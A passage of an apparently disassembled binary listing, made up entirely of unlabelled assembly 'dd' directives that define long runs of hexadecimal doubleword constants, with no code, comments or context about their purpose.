		dd 0B8B2FC91h, 812B30EEh, 0CD0D7C10h, 81134FE0h, 9DEB8617h
		dd 2113D2B8h, 0C81416A9h, 0F3008EC4h, 9A9CB63Dh, 3FD4AC5Eh
		dd 88081DFh, 744C323Bh,	37480A65h, 55841E4Ch, 0C4A08522h
		dd 9D6360BFh, 14D6EA49h, 941BCA08h, 0CC425B12h,	4302A3D8h
		dd 4AC60862h, 0FF90C8B1h, 53023CCFh, 5D7F50C8h,	231E0846h
		dd 0D07CE0BCh, 18AA8E32h, 5E7461F2h, 0A418D43Ch, 916DE9C0h
		dd 304D2524h, 90DB8709h, 24285F28h, 9207AF0h, 14224AEEh
		dd 97E2FFDDh, 3B8FFB80h, 5860DAF2h, 9B0407A9h, 0A452015Fh
		dd 0F90CD903h, 80002E2Bh, 0DBF4F21Ch, 0DE6358AEh, 9AC8112h
		dd 4A4C76Ch, 8CADA4h, 87DDD7CAh, 0BF7FE48h, 32C3DC29h
		dd 0CE5A4F00h, 0BB290702h, 3980D46Eh, 0FF886750h, 301F1C53h
		dd 0D506C0CFh, 2EBCACC1h, 7F0E7C90h, 2E1C5E2Ch,	0CF849F8Bh
		dd 8489E532h, 0C0199AE0h, 0C4E66220h, 4453A423h, 30C1E2E8h
		dd 0C8383883h, 0E4A9A686h, 0C04CC2BDh, 630310h,	9EA710CBh
		dd 0E2C8E0Dh, 0CEA67043h, 8775A5E4h, 5D132330h,	3F5B3912h
		dd 1149A820h, 3E28A051h, 6601F983h, 79F859CFh, 9EB87Ch
		dd 0BC740257h, 0B6244BABh, 80AEE13Bh, 0E5B25E42h, 0C6E6FF6h
		dd 0C0F33868h, 70985978h, 12D4BC4Ch, 5C60395Bh,	80211284h
		dd 0A09834D9h, 88CB3C09h, 95147849h, 607F1484h,	252CD379h
		dd 10E5E63Bh, 0D381FE80h, 234571h, 2AB15C1Dh, 183A1E0Bh
		dd 92C60C09h, 0DF90C0ABh, 9D0926F6h, 4176133Dh,	0C3C10340h
		dd 140B2EB8h, 0E92468EEh, 0DEFB0366h, 48838A31h, 877AF180h
		dd 0A840D04Ah, 7C73275Fh, 687F49E3h, 0FC887215h, 32364D00h
		dd 96B140AAh, 38E75C03h, 0D331704Bh, 0C4107B6h,	31E2EC3Ah
		dd 0E4F00BF4h, 0BE09DB3Fh, 82760A3Eh, 80114AF8h, 6852648h
		dd 0EC171312h, 84D827D5h, 0DC2C4557h, 5270C8h, 0AF6CC7AEh
		dd 8377DECAh, 0E0279907h, 0E9D0AC66h, 327685h, 2195D5E3h
		dd 6509195Eh, 8280E748h, 8414A623h, 826046C4h, 3B2F19D3h
		dd 99C169Eh, 43D38B05h,	0CC839D00h, 7C4C617Eh, 3122A2F0h
		dd 0D7EAFC7Bh, 40708124h, 44A058h, 5BE0528Fh, 0BE768346h
		dd 6181D102h, 4CFEB9C1h, 865B1298h, 397C0170h, 44729C23h
		dd 828481E8h, 38F205AFh, 9130B0F2h, 0B4A1507h, 1604B449h
		dd 0D038BB3Bh, 3F867DA8h, 0AC00234Fh, 758B8791h, 2E4B171h
		dd 0DA69611Ch, 51DB03h,	26ABD6D9h, 0A3F8F7EFh, 0C26A898h
		dd 0F4A08CA0h, 84498E26h, 23BBA942h, 72C051B1h,	0CE051994h
		dd 95D82774h, 0E8B35BC5h, 0E8E35873h, 203016C9h, 1977D8ADh
		dd 3B081797h, 8BA20346h, 0E845195Ch, 582A40D7h,	0C1A7E016h
		dd 8118E2D8h, 783EDD18h, 51F2952Fh, 1854D900h, 67650177h
		dd 86CAE5B1h, 0BEB4576Ah, 0B503B0D5h, 42F8125Ch, 9A3A09D0h
		dd 52875907h, 0D881E76Bh, 9CBF610h, 0F72F0190h,	36149841h
		dd 5E5C0900h, 7156054Ch, 3EC7D0E4h, 9E802AD0h, 496A4F30h
		dd 0ED00BF79h, 0EF6345D6h, 2432B1Eh, 4E19B2AEh,	0D0597206h
		dd 3B186D79h, 42644900h, 0B7ECB3D4h, 26327A7Fh,	99488C1Bh
		dd 6953A897h, 0DE9D15F0h, 803B5BACh, 0C9004823h, 0EF2C6953h
		dd 0C8330382h, 3BD627CAh, 0C0604DE2h, 0F3176185h, 0B7B05787h
		dd 0A4BD4C2Ch, 5B4C6222h, 8CAFBCD0h, 0DD8F7503h, 0F5EDE0Ch
		dd 0AC0AC649h, 0F4B04F84h, 5D4E385Ch, 0BFC868CEh, 0E4A4F6C0h
		dd 3DFF427h, 0FDD65E37h, 890FB8A9h, 80C2A230h, 0B1DAA05h
		dd 0A72169Bh, 0A30C0143h, 0A587C0EDh, 0E498C5B8h, 0D64760A8h
		dd 0DA9403FAh, 24B56855h, 39D749B8h, 72B4E8A0h,	0F0C78C81h
		dd 9D5075DEh, 0BD91AC9Dh, 99601E80h, 0CE058FC3h, 0AB373ECAh
		dd 0F601F88Bh, 8D831681h, 6C637Ch, 0D6DA5890h, 6D0E18Bh
		dd 77F3BF4Dh, 0B00618Ah, 2387FC66h, 1633A2FAh, 2159D5ACh
		dd 80907238h, 2ABA7629h, 9FA993BEh, 98C76C20h, 0DA0B7C62h
		dd 831961F2h, 0A02246B4h, 8101860Dh, 0D76060CAh, 0A0847288h
		dd 0FAB2628h, 0FD47730Ch, 0F0B42080h, 4000D1CDh, 2B414D3Ch
		dd 9C0749ECh, 0F2E4180h, 9238728Dh, 1AE05CB6h, 310053D9h
		dd 49F80C03h, 14C37E5Eh, 0DC61C023h, 6958092Eh,	0D57260F3h
		dd 473930E0h, 83ECE30Bh, 1D4C481h, 30FAF007h, 704B5F98h
		dd 74A011F4h, 62208867h, 0D5DD02BEh, 0D8BB3C65h, 0AE2170C6h
		dd 5CD826B5h, 0FD01AD46h, 6CEFE4F0h, 25C0233Ah,	473425EEh
		dd 1A073680h, 6B36010Ah, 9BC8914Fh, 0BBCFDCCAh,	0B7998C2h
		dd 671062EEh, 60ACC4B4h, 24931DCh, 0B7A73D28h, 50F8E639h
		dd 0CB306913h, 129DECE0h, 0C0FED5ABh, 0B453A78h, 0B0A78E3Ah
		dd 0D58D11C4h, 10B850F2h, 64945C63h, 0E48CACE8h, 95A40738h
		dd 65D7F25Ch, 0C918909Eh, 0B0580B3Eh, 0C339B124h, 547380E3h
		dd 0D680046Eh, 0A321C42Ch, 0C1450B0Ch, 0DC5900F7h, 5B6D873h
		dd 397DE647h, 7004C02Ch, 8800D2C8h, 3F0FD17Eh, 2553FFBCh
		dd 3C976BF4h, 6380BE11h, 32CDBB4Eh, 0E844ED2Ah,	7F71CF00h
		dd 0AB18F6B0h, 0F976730Bh, 45EB9842h, 60952DA4h, 0CB9F5691h
		dd 0CCB1FD15h, 0C1EAC8C9h, 0D404A15Ch, 8C58B8D0h, 0DA01507Dh
		dd 0E99893E0h, 0C4408273h, 0B5A1631Fh, 4511DC1Dh, 8A354382h
		dd 89C066E3h, 0F300853Ah, 9AE622EFh, 979D270h, 0C3C8C677h
		dd 4578BC71h, 0E1008696h, 0B03F867Fh, 0C6F96Eh,	410C5A38h
		dd 6BA4D33Bh, 2CCE744Bh, 0B1C0B988h, 0B3BCF6Eh,	55FBE7D2h
		dd 8A17807Fh, 92C8C5Ch,	61CCD339h, 0EE621092h, 77E49083h
		dd 3CCA528Ah, 0D69C54h,	8821A355h, 0BADE7322h, 0C608DB0Bh
		dd 4784424Fh, 60AB4440h, 8545C0h, 17E2F767h, 4D4E9714h
		dd 286D1D48h, 8CA050D6h, 87278AC9h, 0E5F421CAh,	21808E77h
		dd 4269920Dh, 7AE49962h, 53640BB7h, 0A4A170E8h,	0C0F78804h
		dd 74C19D6Eh, 5900B86Fh, 12487E40h, 0BEA91BF8h,	80CCBA89h
		dd 0AC617586h, 3FE32F8Dh
		dd 0A71BF020h, 80005470h, 778ED1CCh, 5623921h, 7AA16D0Ch
		dd 0E808E5EEh, 74000B35h, 89138E17h, 0D85348h, 7609D95Eh
		dd 11100D42h, 8E5CF802h, 0C4AA7717h, 84E200BCh,	0A579B99Ch
		dd 34203239h, 608B037Ah, 49FD8306h, 3C72A9EAh, 0C05DC800h
		dd 9AD5B7BFh, 94E00065h, 9C857ED4h, 5E3B147Ch, 0E44F8A28h
		dd 0D012BC8Ah, 0A03EEB00h, 0B646405Ch, 0BCA40CC0h, 0BDF0F651h
		dd 72DE9030h, 58C3C2CCh, 5426E358h, 433E0518h, 0B2F0E3ABh
		dd 4A363045h, 8BB73039h, 66F6B30Dh, 4834CA0h, 0D88F7716h
		dd 3CE617A0h, 8C6F3802h, 0D145CD14h, 0BD112Ch, 2327A940h
		dd 2B38B04h, 7B0C3926h,	0A859C3C7h, 0B8C86BA5h,	9418CB39h
		dd 233A50CCh, 14680C2Eh, 7969E853h, 0EF802DB4h,	624780CFh
		dd 47E148F0h, 0C72C0144h, 8BB9C577h, 0EC243005h, 245C6E42h
		dd 2C8CC2ACh, 40F4ED4Dh, 0FAAA8BACh, 7E1613Ah, 0D189630Eh
		dd 0E670CC39h, 0F8C20229h, 0A38BE39h, 0CC011054h, 0F911962Ah
		dd 43B83068h, 0F8283C8Ch, 9B5AA853h, 0EA648258h, 6CDC6094h
		dd 20BA4A98h, 0E9EB91FCh, 33B9AE01h, 10C71B9Ah,	187932E1h
		dd 23C42ED2h, 880701C1h, 746E904Fh, 0DB00F408h,	0C55C9E93h
		dd 48318623h, 331380DAh, 0C880CEA4h, 76DDC047h,	2800D0B1h
		dd 1227D637h, 0A6831A08h, 608D52CCh, 0AF30BCE2h, 92F3F59h
		dd 1B3A1682h, 0DC4A44CCh, 0ED4560C0h, 8982CE4h,	0DB11C717h
		dd 0A75FBC90h, 0D23A00E7h, 0AAF4E87Ch, 0C80052C9h, 2BBBEEA5h
		dd 1236F06Bh, 1158011h,	86F6FB10h, 0A20033FCh, 0C473042h
		dd 0AEC9173Ah, 46D6505Ch, 9D990053h, 8D63A60Dh,	9E7CBAAFh
		dd 0CD11409Ch, 293C619Bh, 0F4EF8032h, 2A509A07h, 0A3422D2Bh
		dd 0F923833h, 8023C300h, 408E8254h, 16F8B285h, 0FCC810FCh
		dd 0CE273258h, 5879A8C0h, 6D9E9D12h, 2476C4B3h,	8058BAA9h
		dd 0A8722C07h, 5F04246Ah, 0ED11814Ah, 146E0B4h,	21065EF3h
		dd 6CA1D8F2h, 74122814h, 49B4A430h, 0E138709h, 0C0E3EDD5h
		dd 8BD94260h, 0C409018Fh, 50E76849h, 0EE8A0F24h, 0D68AC536h
		dd 0AF480C0h, 875A3941h, 51A5D032h, 5B8C6CE5h, 8F4490A9h
		dd 840074C9h, 3A526F26h, 718B421h, 93FDC3E4h, 0C98005FFh
		dd 0B460D62Ch, 140E7B15h, 0F2A69C8Bh, 5D13C98h,	0F206436Ch
		dd 0E8B864F4h, 8C59BC0Ch, 0F900E6E2h, 12D54CD7h, 0BC5954BCh
		dd 20736934h, 72B9550h,	43237A72h, 0C013A41Fh, 7460B8C4h
		dd 801437B5h, 636BAA3Fh, 0A83DC719h, 2C224B1Dh,	5E60D60Fh
		dd 1900AD46h, 8480C9BCh, 70924DDBh, 50A22B0Fh, 8EF94059h
		dd 76F8FEh, 2A14E4C9h, 0DAFBE833h, 0BB3AFA09h, 14CF860h
		dd 41366C6Eh, 12395B50h, 1205CC5h, 0B31DFFBCh, 0ACB02D59h
		dd 216200A4h, 402A3D98h, 1040BE09h, 0F47549C7h,	0EF36C982h
		dd 8AD2CF8h, 0D4998D60h, 917A1Ch, 8B66DFFEh, 0DAA0E53Fh
		dd 0C01BCC00h, 0B99F34Ch, 0D22604C7h, 80770589h, 954A6465h
		dd 838D1700h, 0FE8A6716h, 0CF85EE34h, 9020B150h, 2EEE083Dh
		dd 3E10210Eh, 21BC8C2Fh, 30CB04Bh, 97A3C460h, 701EBB74h
		dd 0E9800B8Dh, 0D36389D0h, 0D7ED51h, 0DFFBA5A1h, 1070277h
		dd 0F0A8D19h, 219F9008h, 0DEE0474Ah, 67788086h,	121F4F07h
		dd 229C0B6Bh, 0B7031580h, 29216CD6h, 5958668Dh,	0FEC19B9h
		dd 0F06EE939h, 7100A60Bh, 1C6A7DC0h, 0C0D0DD7Ah, 3BB48588h
		dd 4A0165CEh, 5389ACA8h, 0BAD1AD60h, 440D2183h,	0F6F0EDCEh
		dd 6501A998h, 46037172h, 8440A7E1h, 30F3479h, 6A89D1BDh
		dd 0B023C448h, 906400FDh, 2F06083Eh, 4ABD4486h,	61904C00h
		dd 98727411h, 0AC64530Bh, 0F50C4323h, 0E15780DFh, 20D6AC4Dh
		dd 0DADFFC3Ch, 87895218h, 580F7D4Ah, 8C00577Ch,	4A1DAE3Fh
		dd 693E1541h, 0F84561Ch, 0E867CE3Dh, 40C0C4B8h,	0F1CE460Fh
		dd 0C197006Ch, 0AB8DCA6Ah, 16198237h, 0FD8181E9h, 0C48DCh
		dd 0D7260884h, 0E7B8B946h, 9D218267h, 59C224F0h, 0C81B01DBh
		dd 408FF253h, 0DE3441DDh, 0BE0C029h, 2DC7D500h,	3679BAC5h
		dd 0F8470003h, 9CEEEF6h, 25514050h, 10CDDECh, 40800EECh
		dd 0A001E3D4h, 0FA4C05EDh, 200D019Dh, 93D3FD3Ch, 50549EF4h
		dd 0D4ADCB4h, 1C8DFF08h, 3BDDFC40h, 39909548h, 3B1EFE8h
		dd 88CA2018h, 68B9256h,	8FA08C67h, 825428A5h, 171906E0h
		dd 0D5480196h, 838BCBE8h, 0FD15600Fh, 6498BBFh,	7C18A1D2h
		dd 5C13306h, 96F04730h,	49807F87h, 0D38D09D2h, 0E00F2BF3h
		dd 93CF9E40h, 0E937CCCEh, 1EA0715Dh, 60D96FE8h,	9480A98Ah
		dd 0CB358DAFh, 300190BBh, 0D3DD7E19h, 0A1F9AC50h, 0E1491CDh
		dd 810EF702h, 0BD200092h, 7AA39B50h, 1BC1390Fh,	2C4052F0h
		dd 0E09A7384h, 49CE60E2h, 5D8F4539h, 5B6B702h, 6041FA84h
		dd 86350428h, 43904D02h, 192F3E08h, 555110B5h, 0FF9090h
		dd 3B249F88h, 3A626B0h,	3AF5C70Ah, 8D088CFCh, 2FD98178h
		dd 0C43975A8h, 9F50114Eh, 0C20077E0h, 0A022EACBh, 0B0D3847Ch
		dd 59CF004Ch, 0E5466C1Ch, 40C1E009h, 1E5E1704h,	0CC295880h
		dd 2FCEE30Dh, 7A012C00h, 0EB4C90B9h, 20921Fh, 0F4C971FCh
		dd 0D09E1499h, 0A974A17Fh, 53210761h, 61D4C87Ah, 0C33600BAh
		dd 2B9FFD4Bh, 8949C77Eh, 0BC5F2A20h, 0A644E0A7h, 0EECA3160h
		dd 7E14BA00h, 0A8EDBC53h, 81392AF4h, 4E3F00A0h,	0B7E02916h
		dd 300229Eh, 7709CAD6h,	3CB6CF47h, 410028D8h, 3CF36B98h
		dd 960FDD10h, 79FC0F6h,	0DAC0CCF2h, 306F70DFh, 16D914EBh
		dd 60000888h, 316C37D7h, 13E80FB5h, 8773CA6h, 0FF11DC6Ch
		dd 44905F9Eh, 322EF608h, 4E4C20B4h, 0AD008690h,	0CE96AF31h
		dd 238529Eh, 0DD50729Fh, 2060398Bh, 0C97BEE91h,	7CA096A2h
		dd 41096085h, 0D8785861h, 5C25CFB3h, 3B10042h, 7293338Dh
		dd 80843000h, 9608794Ah, 20A96054h, 48D1D1Ch, 20D95029h
		dd 3275B2C2h, 604FD804h, 2375DFF9h, 8C11F703h, 564826h
		dd 7132B0BFh, 19C07DE8h, 0EAA98F99h, 52FD3E21h,	0EF007C22h
		dd 73B9F9BEh, 58D097C4h, 8FBC9C60h, 4C9B838Ch, 79802006h
		dd 4808AF6Bh, 814BEA00h, 0CEDBB20h, 2FA90003h, 83696D52h
		dd 31C08934h, 60A1ADB0h, 0D710008Bh, 48CB065Ch,	509A1FE5h
		dd 717EE630h, 63A2C585h, 9AE839BBh, 0AE201900h,	0B5B3454Ah
		dd 0C3B930E9h, 3565C098h, 0D8FB8932h, 6C84324Ch, 0CB38D478h
		dd 345005Ch, 0EE541DE0h, 17680534h, 1BE414Eh, 87DB97D4h
		dd 55B060B3h, 3F26D78h,	0E858CF70h, 448A803Ch, 2E63F22h
		dd 502DDB52h, 5840C8D3h, 9050BADCh, 58C45ECh, 373DFF7h
		dd 59A48E67h, 5CE100B0h, 16A6B4D3h, 8F82264Eh, 4F5032C4h
		dd 7204186Ch, 1C99F5C9h, 56200462h, 0B7C87Bh, 2E9F2AF5h
		dd 0BF93347Ah, 3602D0C1h, 0E8BFAA18h, 447FD001h, 8094E84Ch
		dd 156D1389h, 1DEF1EA7h, 411A6701h, 0EBA24FD7h,	0A234738Ch
		dd 389D30B9h, 963FA700h, 0E830CD0Fh, 484842h, 0E8907F22h
		dd 0B38D4B06h, 6118234h, 0EB3B1BDCh, 943EB8B6h,	17E16752h
		dd 18D3CD2Fh, 52B536E8h, 582394FBh, 0F8C87501h,	3187499h
		dd 7E5F88h, 50BA62C8h, 1BDD4839h, 92908A62h, 7E58E1D9h
		dd 0CE044718h, 0AD484A51h, 1120B832h, 778CE50h,	22E1A31Ah
		dd 7D41B019h, 0CCB03CFEh, 801B94Ah, 8C3785D1h, 64706880h
		dd 0BD44DB6Dh, 0AF95D40Bh, 0FFF423A2h, 0EC5926BEh, 0AA3D4398h
		dd 389E3490h, 981B5E02h
		dd 602C67D3h, 31EA6428h, 34288A19h, 74C05090h, 0F849E60Bh
		dd 80FF7C24h, 704E0A19h, 270C25h, 0F73AE419h, 16884BA0h
		dd 0A86BAA30h, 18063EF6h, 106CFEAFh, 44B9DD53h,	0C420C11Eh
		dd 2168A8h, 304EC296h, 3398120Dh, 4A05CDFh, 80A8C49Eh
		dd 8AEDA138h, 0D8A954B1h, 0C1189371h, 5B57F800h, 0B7212C22h
		dd 4A720405h, 803A7B8Dh, 0C4D0861Ch, 5429952Eh,	0C2C70686h
		dd 0DD510BD1h, 0D000858Eh, 44509491h, 1C84ACAAh, 0C877605Ah
		dd 449912FAh, 61B02CA9h, 0CEC84002h, 40C46850h,	2A6D0551h
		dd 0A7BC84EAh, 60044444h, 0DD8A6Fh, 0FB71F23h, 0E7AAE1BCh
		dd 950FE499h, 264E7C1h,	880BD661h, 4589C5F0h, 46A8028Ah
		dd 1CDFF630h, 215F0372h, 13FC4BEh, 38B4DFFDh, 0C4AA341Eh
		dd 0A107D840h, 0E7249D94h, 8A82D4CAh, 8FA26837h, 213C35E0h
		dd 5C38AC85h, 79098F46h, 0ED01F066h, 238E0C5Bh,	4F940A18h
		dd 398C8C11h, 566984h, 0C52F0443h, 0F63D5440h, 104997A0h
		dd 1ED5A91Ah, 0F1D88F30h, 53CE4980h, 448C584Ah,	520013BAh
		dd 0A30769CEh, 1FBE30Ch, 4A7B0593h, 207DC795h, 78E46B74h
		dd 4E46D8B8h, 0F6C97302h, 9316499h, 0C87C5510h,	0E56B0300h
		dd 6A9C5B83h, 0FB1B00C5h, 0BCFC99Ah, 8586680Dh,	6093C4DCh
		dd 0B69BD7Dh, 4AC182A1h, 0C02B5802h, 0D53E8400h, 9DD8A28Fh
		dd 8303116Ch, 0C90AF3FFh, 1AF1E3C5h, 43B448FEh,	0B06B003Ch
		dd 17060944h, 0AC9011B6h, 9339F319h, 106267C1h,	3D30BAF2h
		dd 932C0C04h, 0F6198B34h, 0E7B65404h, 3B82BA17h, 2A04E40Ah
		dd 0E0C8E2h, 1376DD4Bh,	271ECC8Ah, 0BB0A2DF0h, 0D8BA63DFh
		dd 7465Eh, 92322D60h, 167786C9h, 4B1EF7Bh, 30350278h, 21499053h
		dd 4FC04E08h, 1DF905Bh,	0A1AAB328h, 0C2562707h,	0C2C59484h
		dd 0CED60C5h, 850C2AC0h, 0E3E929BCh, 46820080h,	32C0552Ch
		dd 0DD6E2A01h, 0CDB0C283h, 126A219Dh, 3E88607Bh, 4A1064CEh
		dd 0B7C8ACB0h, 70060E96h, 7805E8Eh, 0BD1F3219h,	0DB9980CCh
		dd 34B02DA7h, 889190E0h, 721805D1h, 10846158h, 9300105Dh
		dd 9E388C33h, 58908A14h, 0E899B607h, 0C98996C4h, 0FBF4AF74h
		dd 297D24BFh, 0DB0338FFh, 6EA9B499h, 0D42161AFh, 624C62E5h
		dd 7202BA30h, 807B728Ch, 0FC910582h, 9910EB0Ch,	28150314h
		dd 0DA57E28Bh, 5ABC9DF0h, 3801EE07h, 81A9F606h,	0E097FDC2h
		dd 2C424421h, 0C876305Bh, 7C99F908h, 400A64A9h,	0A7C83F62h
		dd 35C201E7h, 0E32010B5h, 968980C1h, 4B0FF9EFh,	7B9F0705h
		dd 60D67764h, 33AF904Fh, 0EB71B006h, 37806CFAh,	7039C2E3h
		dd 0FD89767Eh, 657831Fh, 0C626FE3Ch, 0D6026443h, 415FBF94h
		dd 0FA185234h, 276DF0Bh, 81CFFh, 0DFA1B8B3h, 0F19556F7h
		dd 857B4779h, 74622F00h, 3FA2A65Ch, 6DF400B4h, 8F71A4E0h
		dd 37EA4293h, 27B3E51Fh, 0C8A548C1h, 2080E14Eh,	3503FE66h
		dd 210367C6h, 0E95F6A96h, 20F9A295h, 0D734FC25h, 3B0F8BEAh
		dd 0A477913Ch, 5059E420h, 0C64019C7h, 0A41967C5h, 24F64428h
		dd 0AD34FB00h, 124756AFh, 0FD680069h, 42B5D71Bh, 8D049F6Eh
		dd 0AB6C7576h, 0F72DDE01h, 79D0D3E7h, 8700D5CCh, 153425D8h
		dd 6363E9Dh, 0C6BD720Fh, 0C40031A8h, 2E3D29D0h,	33E28AEEh
		dd 0B908B625h, 0C8EB2103h, 1091129h, 9B9FED48h,	0BDC5DBF3h
		dd 817D8280h, 3A644EEh,	3907AC97h, 616530B3h, 0AC0472A5h
		dd 0DF00885Ah, 0F264764Ah, 0F62881F9h, 0B3AB039Ah, 0B3D5080h
		dd 5A693FFEh, 0AF7FEF00h, 0E22867ACh, 51F514B3h, 0D03A8CDEh
		dd 6A593277h, 0E9C08611h, 2A06EFCBh, 22E775C9h,	21836008h
		dd 0A6682FA7h, 0FC03F00h, 16727AC5h, 0DDD71B2Bh, 68033C3Ah
		dd 8D2E66DBh, 9100A475h, 0FAFDA1BEh, 0A902AA0Ch, 0C08709F2h
		dd 0A1B6B121h, 4D2841D9h, 0B746AC39h, 3729CA02h, 0BB31BE2Eh
		dd 29C2E510h, 6D035DFEh, 2F42673Ah, 9C883E98h, 0F4E83C48h
		dd 0F105038Ch, 9D75C7F7h, 12A3D1F8h, 34EDAD40h,	2EB9BE2Ah
		dd 0F862374h, 9BA22D03h, 0E487A0FEh, 7628EA8Dh,	321C8946h
		dd 25110960h, 16D72C00h, 0F8C826FDh, 0BFD8CCC1h, 7CF06768h
		dd 1E00F791h, 8B3B34F5h, 6D0FE076h, 0B5FCB4ACh,	6A750AFCh
		dd 0A80B8AAh, 4EC245F3h, 2176605Bh, 0A5FDCE87h,	0BFE7740Fh
		dd 0D87363FCh, 0CF84DBCDh, 7D692980h, 356629DCh, 0A1C50170h
		dd 18E2FB04h, 0BDB8888Eh, 2B00A173h, 3D3F2A22h,	5DF36ADh
		dd 0AE7B8F95h, 6BA0018Dh, 20E133F7h, 0BB0181D4h, 9B91F113h
		dd 208080AAh, 5FCD322Fh, 0B574C173h, 86486275h,	6E411910h
		dd 0FC308068h, 0DDE0C5A5h, 0C810102Ah, 0C3013323h, 0D2FB02A1h
		dd 0B600F04Eh, 5541A1BBh, 5B1DEDB8h, 2D08C663h,	766A8073h
		dd 1C719F95h, 0D4C4DF24h, 0FF303E01h, 0C081F87Fh, 5F29E7C7h
		dd 7080836Dh, 6A533FCh,	0E35A0728h, 10F1896h, 0A0FB561Fh
		dd 50264478h, 0B4AB0AF8h, 81C86BFAh, 5462C24h, 0FC42E4B7h
		dd 0ACB36E03h, 17D6645Ah, 1193F220h, 33099068h,	427F150h
		dd 3E1DB08Ch, 0D70073B0h, 4EEF4F0Dh, 195A670h, 0BBFCD6ABh
		dd 82E2518Ah, 720EDE31h, 0FD84CB6h, 2E3629C9h, 9DC18871h
		dd 40295FE4h, 0D35BA110h, 0AA3C8668h, 1BA586CEh, 90F0CADFh
		dd 7B03205Ch, 6BC5C702h, 9179D32Ah, 0C01830CCh,	0FAFFA109h
		dd 9A241CBAh, 90140060h, 73D3D83Ah, 70008236h, 59C4E7CAh
		dd 0BDE229Ah, 6375C1F4h, 0FEB30010h, 0C40241DEh, 8C95A967h
		dd 29F987h, 0A3A6D398h,	0DB1C1183h, 2CDC6C1Eh, 0DDACAC5Fh
		dd 20246424h, 7C109712h, 564000D4h, 86F7322Bh, 3F7971E8h
		dd 7A286BEFh, 277DC4h, 7163ED6Ch, 926444B7h, 0E43C5250h
		dd 87E71F89h, 493E8563h, 0EF177058h, 488D1893h,	0FC147103h
		dd 64A4C2BFh, 4D9C320h,	23C134C4h, 0F311F967h, 34F72001h
		dd 0E80B16F6h, 0BD00F85Ch, 84AF25D7h, 14403FFh,	2F6E467Ah
		dd 50785B04h, 9815790h,	653BD700h, 0A5EFC92h, 8A1E0032h
		dd 2B8B8FA1h, 0FD0D78DDh, 98D16F23h, 0F493B443h, 0C1303122h
		dd 43FBE0A1h, 0B9B480C2h, 2C8443A1h, 60D86D75h,	76059FFFh
		dd 936F790Ah, 8D86881Ah, 30387595h, 0C3B16759h,	9C24925Fh
		dd 6F988C70h, 75B019h, 156B2C57h, 9BE7DD88h, 4891A631h
		dd 0C247974h, 0DF0120F7h, 9CF04F2Ah, 0C1500300h, 31F9141Fh
		dd 770803A7h, 0FEEEF95h, 0E14116A0h, 8703FC12h,	4C3A7053h
		dd 0EB01F623h, 0C88675F1h, 40570830h, 4917F27Eh, 8C3EA5DEh
		dd 4500FA23h, 0F383AF8Ah, 0A80707A0h, 0D66209F5h, 7C056081h
		dd 1029ED41h, 23F4A041h, 421ADAAh, 0C5F58801h, 0F7232873h
		dd 0CD683901h, 7C183AEFh, 3E31A988h, 0DD028F68h, 0E6B4072Eh
		dd 824F8460h, 18C268A9h, 0C03405FDh, 8B95F167h,	0F61F00E0h
		dd 0BF2CB534h, 697A605Ah, 560C0875h, 0C5628200h, 7235F103h
		dd 0CFF50040h, 0C1271F02h, 0EC5038E7h, 3494DF6Ch, 161C644h
		dd 11083035h, 23C020B9h, 0CD334FAh, 0A85B53ADh,	0CF032581h
		dd 0A5A13E30h, 426FA22Ah, 0A45CA43Ch, 8988808Eh, 920FE3C0h
		dd 0D1B20AF6h, 81986B75h, 0D02ECFDEh, 212865E4h, 6014E924h
		dd 8C511B04h, 683088E8h, 272D82ABh, 8F01FFBCh, 40C68E6Bh
		dd 1AF30578h, 28A3DD89h, 80B858B7h, 51D95C9Fh, 1278B5Fh
		dd 0D819A8AFh, 660FB9F2h, 8E7EE11Ch, 0EC729FC8h, 0BAF90EFDh
		dd 0C540301Fh, 0A15C996Ch, 0EA80A90Ah, 3E848841h, 0FC88FBB4h
		dd 0A635065Bh
		dd 0F0F287F6h, 0D3FBF3Eh, 10DF2C07h, 7420B06Fh,	80F480A0h
		dd 7B7462E5h, 4CFF82Ch,	0FB11744Ah, 0D1683D80h,	875AEFh
		dd 0DA6835ADh, 2E081514h, 9BF50C0Fh, 458861EDh,	881E696Ah
		dd 0AB005590h, 0EE8C968Bh, 4FB50AF2h, 44C4A928h, 34FF60C4h
		dd 16723C2h, 2100F311h,	3A3334F8h, 0C60F7255h, 0E1985E44h
		dd 732B6267h, 28D20820h, 46C84E4Ch, 29CF02BCh, 59E62E3Ch
		dd 0C7EA6168h, 0A2CDEC29h, 0D5971B13h, 16C26C00h, 0B16075D2h
		dd 80F590A4h, 0D37F69CCh, 8944A75h, 0C4C03408h,	46FB03A1h
		dd 8A22DAh, 16A1BCB7h, 0E6CC0BC6h, 2C62F224h, 8E20143Bh
		dd 446D26E3h, 3B60F964h, 0EF23CF68h, 107F114Ah,	0CE0333ABh
		dd 3D676AFFh, 741F4291h, 294CFC40h, 8CFBE844h, 281C7A00h
		dd 4C05A930h, 51693B15h, 0F2C278Bh, 0C6AC540Eh,	0E3E03DE8h
		dd 44E4D205h, 0D0C1549Ch, 0CF00795Eh, 0A4F6CD49h, 2E5BB800h
		dd 30B6C8F5h, 0C0A201B4h, 0EFD00336h, 2059EEFAh, 16188579h
		dd 9DCD6B01h, 93658D94h, 0E257862h, 0B811C497h,	0F1638187h
		dd 28FA57E9h, 203AD260h, 0D62FF223h, 0A7F705C4h, 0C498010Bh
		dd 2CDBA58Eh, 8C8CB824h, 747B8000h, 0E7FBB1A2h,	0FD0B020Ch
		dd 5A15C456h, 743C745Ah, 9FB900D6h, 0C6B2E42Bh,	0FF2E096Eh
		dd 0D804FB53h, 3A7085C5h, 88235Ch, 623E4F85h, 0EB12FB05h
		dd 7480D91Bh, 816CDB32h, 21A43DD2h, 0E29B04B9h,	4498329Ch
		dd 352F1DACh, 61FA12D1h, 20683C74h, 0E09C5208h,	34AC58h
		dd 5E720468h, 54B99E5Bh, 62918B0Ah, 0DF48E4C7h,	26297000h
		dd 5E6A8Fh, 0F6ACFD4Eh,	4187C0C7h, 3A2E2413h, 7BEF98C0h
		dd 3C489EFAh, 4FF17D30h, 3C00DA71h, 209E3BB6h, 16A912C7h
		dd 9B49690Bh, 898C8004h, 139D2AF4h, 2B26532h, 0E9819824h
		dd 9098C52h, 0C16E835Ah, 24603EFCh, 112724F7h, 0B691001Ch
		dd 0DF0DF9B4h, 46767C9Eh, 1F2D737Ah, 11401FE5h,	80098FF2h
		dd 4150E673h, 27F425F9h, 60B8A084h, 7A3829CBh, 0C0448C2Eh
		dd 29C300E6h, 0EA2B479Dh, 0FC00ED01h, 6D2FDF1Dh, 29B4B7A2h
		dd 0D97499F7h, 611880h,	84839D9h, 28B48288h, 31445F04h
